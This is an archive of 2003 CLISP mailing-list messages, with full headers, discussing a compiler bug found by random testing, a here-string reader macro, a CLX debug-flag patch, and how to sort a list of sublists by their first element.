; Fri, 31 Oct 2003 13:12:32 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AFY8m-0004Iw-00 for ; Fri, 31 Oct 2003 13:12:32 +0100 From: "Paul F. Dietz" Lines: 31 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en In-Reply-To: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: (random tester) Compiler error with flet/labels optional arguments: SYMBOL-VALUE: 1 is not a SYMBOL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 31 04:15:13 2003 X-Original-Date: Fri, 31 Oct 2003 06:15:53 -0600 I wrote: ( a test case ) The reason is was only working in the CL-TEST package was because I had shadowed HANDLER-CASE and HANDLER-BIND. Here's another randomly generated example showing the same bug, without the package problems: (funcall (compile nil '(lambda (a c) (flet ((%f10 (f10-1 f10-2) 10)) (flet ((%f4 (&optional (f4-1 (ldb (byte 10 6) (* 828 (+ 30 (dpb c (byte 9 30) (%f10 1918433 34107))) ))) (f4-2 (setq a 0))) 2)) (%f4 -5))))) 0 0) [...] *** - SYMBOL-VALUE: 1 is not a SYMBOL The bug apparently requires two optional parameters to be present. Paul From pascal@informatimago.com Fri Oct 31 04:32:57 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AFYSX-0006Bh-00 for ; Fri, 31 Oct 2003 04:32:57 -0800 Received: from larissa.informatimago.com ([195.114.85.197] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AFYSW-00054r-Ji for clisp-list@lists.sourceforge.net; Fri, 31 Oct 2003 04:32:57 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [195.114.85.198]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B094C586E2; Fri, 31 Oct 2003 13:32:47 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4D41A3A49F; Fri, 31 Oct 2003 13:32:41 +0100 (CET) Message-ID: <16290.22121.239290.165725@thalassa.informatimago.com> To: Christian Schuhegger Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Common Lisp and here-strings In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 31 04:34:37 2003 X-Original-Date: Fri, 31 Oct 2003 13:32:41 +0100 Christian Schuhegger writes: > Hello, > > i was wondering if there is a portable implementation of > here-strings/here-documents for lisp like perl's: > print $OUT < > I was looking on google but did not find any hints in that direction. > > Thanks a lot! You can implement this with a reader macro; read Chapter 2 Syntax and Chapter 23 Reader of CLHS http://www.lisp.org/HyperSpec/FrontMatter/Chapter-Index.html (set-dispatch-macro-character (character "#") (character "\"") (lambda (stream subchar infix-param) (declare (ignore subchar infix-param)) (do ((eoln (format nil "~%")) (eof-token (string-trim " " (read-line stream nil nil t))) ; eof-token is what's after #" (line (read-line stream nil nil t) (read-line stream nil nil t)) (lines '())) ((or (null line) (string-equal eof-token (string-trim " " line))) (apply (function concatenate) 'string (nreverse lines))) (push line lines) (push eoln lines)) )) [12]> #"EOF First line " foo " second line \bar\ EOF "First line \" foo \" second line \\bar\\ " Beware, there's a problem if you type this in ilisp in emacs: it handles the double-quote character without taking into account the new macro, thus you need to add a double-quote after the EOF (a bug in ilisp). But reading from files or from the terminal it's OK. HOWEVER, I assume that what you want is avoid escaping anti-slash and double-quote, and that's all that this macro would buy you, since you can as well write normal strings over several lines, and with FORMAT, you have fine control on what to do about new-lines and prefix spaces: [5]> "first line second line " "first line second line " [6]> (format nil "first line ~ second line~ ") "first line second line" [7]> (format nil "first line ~: second line~ ") "first line second line" [8]> (format nil "first line ~@ second line~ ") "first line second line" -- __Pascal_Bourguignon__ http://www.informatimago.com/ From lisp-clisp-list@m.gmane.org Fri Oct 31 05:45:14 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AFZaU-00045L-00 for ; Fri, 31 Oct 2003 05:45:14 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AFZaT-0007AX-Hb for clisp-list@lists.sourceforge.net; Fri, 31 Oct 2003 05:45:13 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AFZaS-0007HA-00 for ; Fri, 31 Oct 2003 14:45:12 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1AFZaR-0007H2-00 for ; Fri, 31 Oct 2003 14:45:11 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AFZaR-0007KU-00 for ; Fri, 31 Oct 2003 14:45:11 +0100 From: Barry Fishman Lines: 36 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:fEL/r6GVYN1MqM3YR/apOFS4ic4= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Incorrect DEBUG_CLX test in CVS modules/clx/new-clx.clx.f Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 31 05:47:12 2003 X-Original-Date: Fri, 31 Oct 2003 08:44:24 -0500 I unsuccessfully tried posting this to gmane.lisp.clisp.devel. The dump_image() function is always being called. A patch follows. Note that the dump_image() function only displays little-endian bitmaps correctly, such as those created with XLIB:READ-BITMAP-FILE. It can probably be removed now that the problem being testing is fixed. Index: clx.f =================================================================== RCS file: /cvsroot/clisp/clisp/modules/clx/new-clx/clx.f,v retrieving revision 2.9 diff -c -r2.9 clx.f *** clx.f 7 Oct 2003 17:48:47 -0000 2.9 --- clx.f 26 Oct 2003 20:36:47 -0000 *************** *** 4130,4136 **** fehler (error, "Sorry, my implementation of XLIB:PUT-IMAGE is still not complete."); } ! #if defined(DEBUG_CLX) /* from Barry Fishman http://article.gmane.org/gmane.lisp.clisp.general/7587 */ void dump_image (XImage *image) --- 4130,4136 ---- fehler (error, "Sorry, my implementation of XLIB:PUT-IMAGE is still not complete."); } ! #if DEBUG_CLX /* from Barry Fishman http://article.gmane.org/gmane.lisp.clisp.general/7587 */ void dump_image (XImage *image) From lisp-clisp-list@m.gmane.org Fri Oct 31 06:21:20 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AFa9Q-0008Tv-00 for ; Fri, 31 Oct 2003 06:21:20 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AFa9P-0004Ap-Fr for clisp-list@lists.sourceforge.net; Fri, 31 Oct 2003 06:21:19 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AFa9O-0007ff-00 for ; Fri, 31 Oct 2003 15:21:18 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1AFa9M-0007fV-00 for ; Fri, 31 Oct 2003 15:21:16 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AFa9M-0000Ud-00 for ; Fri, 31 Oct 2003 15:21:16 +0100 From: Christian Schuhegger Lines: 29 Message-ID: References: <16290.22121.239290.165725@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en In-Reply-To: <16290.22121.239290.165725@thalassa.informatimago.com> X-Enigmail-Version: 0.76.7.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Common Lisp and here-strings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 31 06:23:12 2003 X-Original-Date: Fri, 31 Oct 2003 15:18:37 +0100 Pascal J.Bourguignon wrote: > (set-dispatch-macro-character > (character "#") (character "\"") > (lambda (stream subchar infix-param) > (declare (ignore subchar infix-param)) > (do ((eoln (format nil "~%")) > (eof-token (string-trim " " (read-line stream nil nil t))) > ; eof-token is what's after #" > (line (read-line stream nil nil t) > (read-line stream nil nil t)) > (lines '())) > ((or (null line) > (string-equal eof-token (string-trim " " line))) > (apply (function concatenate) 'string (nreverse lines))) > (push line lines) > (push eoln lines)) )) > ... > HOWEVER, I assume that what you want is avoid escaping anti-slash and > double-quote, and that's all that this macro would buy you, since you > can as well write normal strings over several lines, and with FORMAT, > you have fine control on what to do about new-lines and prefix spaces: Thanks a lot! This is what I want to do. It is useful for me when I want to print long runs of HTML text without escaping all the quotes. -- Christian Schuhegger http://galileo.spaceports.com/~cschuheg From sds@alphatech.com Fri Oct 31 07:08:54 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AFatS-0005rL-00 for ; Fri, 31 Oct 2003 07:08:54 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AFatS-0002Ul-5A for clisp-list@lists.sourceforge.net; Fri, 31 Oct 2003 07:08:54 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9VF8lk29322 for ; Fri, 31 Oct 2003 10:08:47 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Christian Schuhegger's message of "Fri, 31 Oct 2003 15:18:37 +0100") References: <16290.22121.239290.165725@thalassa.informatimago.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 HTML_20_30 BODY: Message is 20% to 30% HTML Subject: [clisp-list] Re: Common Lisp and here-strings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 31 07:10:50 2003 X-Original-Date: Fri, 31 Oct 2003 10:08:47 -0500 > * Christian Schuhegger [2003-10-31 15:18:37 +0100]: > > Thanks a lot! This is what I want to do. It is useful for me when I > want to print long runs of HTML text without escaping all the quotes. You can use single quotes instead and avoid escaping. E.g., CLISP -- Sam Steingold (http://www.podval.org/~sds) running w2k There's always free cheese in a mouse trap. From sds@alphatech.com Fri Oct 31 07:13:17 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AFaxh-0006Fd-00 for ; Fri, 31 Oct 2003 07:13:17 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AFaxg-0003BW-Tv for clisp-list@lists.sourceforge.net; Fri, 31 Oct 2003 07:13:17 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9VFD9k00687 for ; Fri, 31 Oct 2003 10:13:10 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Barry Fishman's message of "Fri, 31 Oct 2003 08:44:24 -0500") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Incorrect DEBUG_CLX test in CVS modules/clx/new-clx.clx.f Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 31 07:15:04 2003 X-Original-Date: Fri, 31 Oct 2003 10:13:09 -0500 > * Barry Fishman [2003-10-31 08:44:24 -0500]: > > I unsuccessfully tried posting this to gmane.lisp.clisp.devel. are you subscribed? > The dump_image() function is always being called. > A patch follows. thanks! > Note that the dump_image() function only displays little-endian > bitmaps correctly, such as those created with XLIB:READ-BITMAP-FILE. can you make it work with big-endian bitmaps too? (not that I know whether this question makes any sense at all :-) > It can probably be removed now that the problem being testing is > fixed. something tells me that this is not the last problem... :-( -- Sam Steingold (http://www.podval.org/~sds) running w2k I don't have an attitude problem. You have a perception problem. From lisp-clisp-list@m.gmane.org Sun Nov 02 14:10:19 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AGQQN-0006Qf-00 for ; Sun, 02 Nov 2003 14:10:19 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AGQQM-0000ry-P4 for clisp-list@lists.sourceforge.net; Sun, 02 Nov 2003 14:10:18 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AGQQL-0008LJ-00 for ; Sun, 02 Nov 2003 23:10:17 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1AGQEh-0008DL-00 for ; Sun, 02 Nov 2003 22:58:15 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AGQEh-0004hQ-00 for ; Sun, 02 Nov 2003 22:58:15 +0100 From: "David Brynjar Franzson" Lines: 23 Message-ID: X-Complaints-To: usenet@sea.gmane.org X-Newsreader: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] sorting a list of sublists, based on the sublists first value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 2 14:11:03 2003 X-Original-Date: Sun, 2 Nov 2003 13:57:59 -0800 Hi, I am trying to sort a list containing sublists ((50 3500) (25 2570) (40 2800)) based on the first value of each sublist. A normal sort-list function is sth like this... (defun sort-list (list &optional (pred '<)) (cond ((null) list) nil ) ((atom (first list)) (sort list pred)) (t (cons (sort-list (first list) pred) (sort-list (rest list) pred))))) Being almost completely illiterate in Lisp, I am guessing that I just need to plugin in sth in the order of "(nth 0 sublist)" somewhere in this function. Any help on this would be greatly appreciated. Sincerely, David B Franzson franzson@hotmail.com From russell_mcmanus@yahoo.com Sun Nov 02 14:46:56 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AGQzo-0003RK-00 for ; Sun, 02 Nov 2003 14:46:56 -0800 Received: from dsl081-203-031.nyc2.dsl.speakeasy.net ([64.81.203.31] helo=thelonious.dyndns.org) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AGQzn-0005dT-UB for clisp-list@lists.sourceforge.net; Sun, 02 Nov 2003 14:46:56 -0800 Received: by thelonious.dyndns.org (Postfix, from userid 1000) id CC5F29C; Sun, 2 Nov 2003 17:46:09 -0500 (EST) To: "David Brynjar Franzson" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] sorting a list of sublists, based on the sublists first value References: From: Russell McManus In-Reply-To: (David Brynjar Franzson's message of "Sun, 2 Nov 2003 13:57:59 -0800") Message-ID: <87he1mwfri.fsf@thelonious.dyndns.org> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Portable Code, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.0 CLICK_BELOW Asks you to click below Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 2 14:47:17 2003 X-Original-Date: Sun, 02 Nov 2003 17:46:09 -0500 This can be handled using the :key keyword arg to sort, like so: (sort '((50 3500) (25 2570) (40 2800)) #'< :key #'first) -russ "David Brynjar Franzson" writes: > Hi, I am trying to sort a list containing sublists ((50 3500) (25 2570) (40 > 2800)) based on the first value of each sublist. > > A normal sort-list function is sth like this... > > (defun sort-list (list &optional (pred '<)) > (cond ((null) list) nil ) > ((atom (first list)) (sort list pred)) > (t (cons (sort-list (first list) pred) (sort-list (rest list) > pred))))) > > Being almost completely illiterate in Lisp, I am guessing that I just need > to plugin in sth in the order of "(nth 0 sublist)" somewhere in this > function. > > Any help on this would be greatly appreciated. > > Sincerely, > David B Franzson > franzson@hotmail.com > > > > > > > ------------------------------------------------------- > This SF.net email is sponsored by: SF.net Giveback Program. > Does SourceForge.net help you be more productive? Does it > help you create better code? SHARE THE LOVE, and help us help > YOU! Click Here: http://sourceforge.net/donate/ > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From pascal@informatimago.com Sun Nov 02 14:47:13 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AGR05-0003Tq-00 for ; Sun, 02 Nov 2003 14:47:13 -0800 Received: from larissa.informatimago.com ([195.114.85.197] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AGR04-0005eB-Mj for clisp-list@lists.sourceforge.net; Sun, 02 Nov 2003 14:47:13 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [195.114.85.198]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B07A9586E2; Sun, 2 Nov 2003 23:46:56 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 418C53A578; Sun, 2 Nov 2003 23:46:46 +0100 (CET) Message-ID: <16293.35158.192206.505745@thalassa.informatimago.com> To: "David Brynjar Franzson" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] sorting a list of sublists, based on the sublists first value In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 2 14:48:05 2003 X-Original-Date: Sun, 2 Nov 2003 23:46:46 +0100 General lisp questions may be posed on news:comp.lang.lisp too. David Brynjar Franzson writes: > Hi, I am trying to sort a list containing sublists ((50 3500) (25 2570) (40 > 2800)) based on the first value of each sublist. (sort list (lambda (a b) (<= (first a) (first b)))) [75]> (setq list '((50 3500) (25 2570) (40 2800))) ((50 3500) (25 2570) (40 2800)) [76]> (sort list (lambda (a b) (<= (first a) (first b)))) ((25 2570) (40 2800) (50 3500)) [77]> > A normal sort-list function is sth like this... > > (defun sort-list (list &optional (pred '<)) > (cond ((null) list) nil ) > ((atom (first list)) (sort list pred)) > (t (cons (sort-list (first list) pred) (sort-list (rest list) > pred))))) Did I miss something? Is it required to sort the sublists? What is it you want exactly? > Being almost completely illiterate in Lisp, I am guessing that I just need > to plugin in sth in the order of "(nth 0 sublist)" somewhere in this > function. (nth 0 sublist) is effectly the first element of the sublist, but if you want the first element of the sublist why not say (first sublist)? > Any help on this would be greatly appreciated. -- __Pascal_Bourguignon__ http://www.informatimago.com/ From james.anderson@setf.de Sun Nov 02 15:02:02 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AGREQ-0005Pv-00 for ; Sun, 02 Nov 2003 15:02:02 -0800 Received: from postman4.arcor-online.net ([151.189.0.189] helo=postman.arcor.de) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.24) id 1AGREQ-0004RJ-6z for clisp-list@lists.sourceforge.net; Sun, 02 Nov 2003 15:02:02 -0800 Received: from setf.de (dsl-082-082-100-026.arcor-ip.net [82.82.100.26]) (authenticated bits=0) by postman.arcor.de (8.12.9/8.12.9) with ESMTP id hA2N1x41028732 for ; Mon, 3 Nov 2003 00:01:59 +0100 (MET) Subject: Re: [clisp-list] sorting a list of sublists, based on the sublists first value Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <7BE9B92F-0D88-11D8-96EF-000393BB8814@setf.de> X-Mailer: Apple Mail (2.552) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 2 15:03:02 2003 X-Original-Date: Mon, 3 Nov 2003 00:01:25 +0100 (sort (copy-list list) pred :key #'(lambda (entry) (if (consp entry) (first entry) entry))) whereby the copy is necessary iff you wish to continue to use the original On Sunday, Nov 2, 2003, at 22:57 Europe/Berlin, David Brynjar Franzson wrote: > Hi, I am trying to sort a list containing sublists ((50 3500) (25 > 2570) (40 > 2800)) based on the first value of each sublist. > > A normal sort-list function is sth like this... > > (defun sort-list (list &optional (pred '<)) > (cond ((null) list) nil ) > ((atom (first list)) (sort list pred)) > (t (cons (sort-list (first list) pred) (sort-list (rest > list) > pred))))) > > Being almost completely illiterate in Lisp, I am guessing that I just > need > to plugin in sth in the order of "(nth 0 sublist)" somewhere in this > function. > > Any help on this would be greatly appreciated. > > Sincerely, > David B Franzson > franzson@hotmail.com > ... From hot@bers.2y.net Sun Nov 02 21:34:15 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AGXLz-0000R4-00 for ; Sun, 02 Nov 2003 21:34:15 -0800 Received: from [61.206.127.2] (helo=001) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.24) id 1AGXLy-0001o6-GF for clisp-list@lists.sourceforge.net; Sun, 02 Nov 2003 21:34:14 -0800 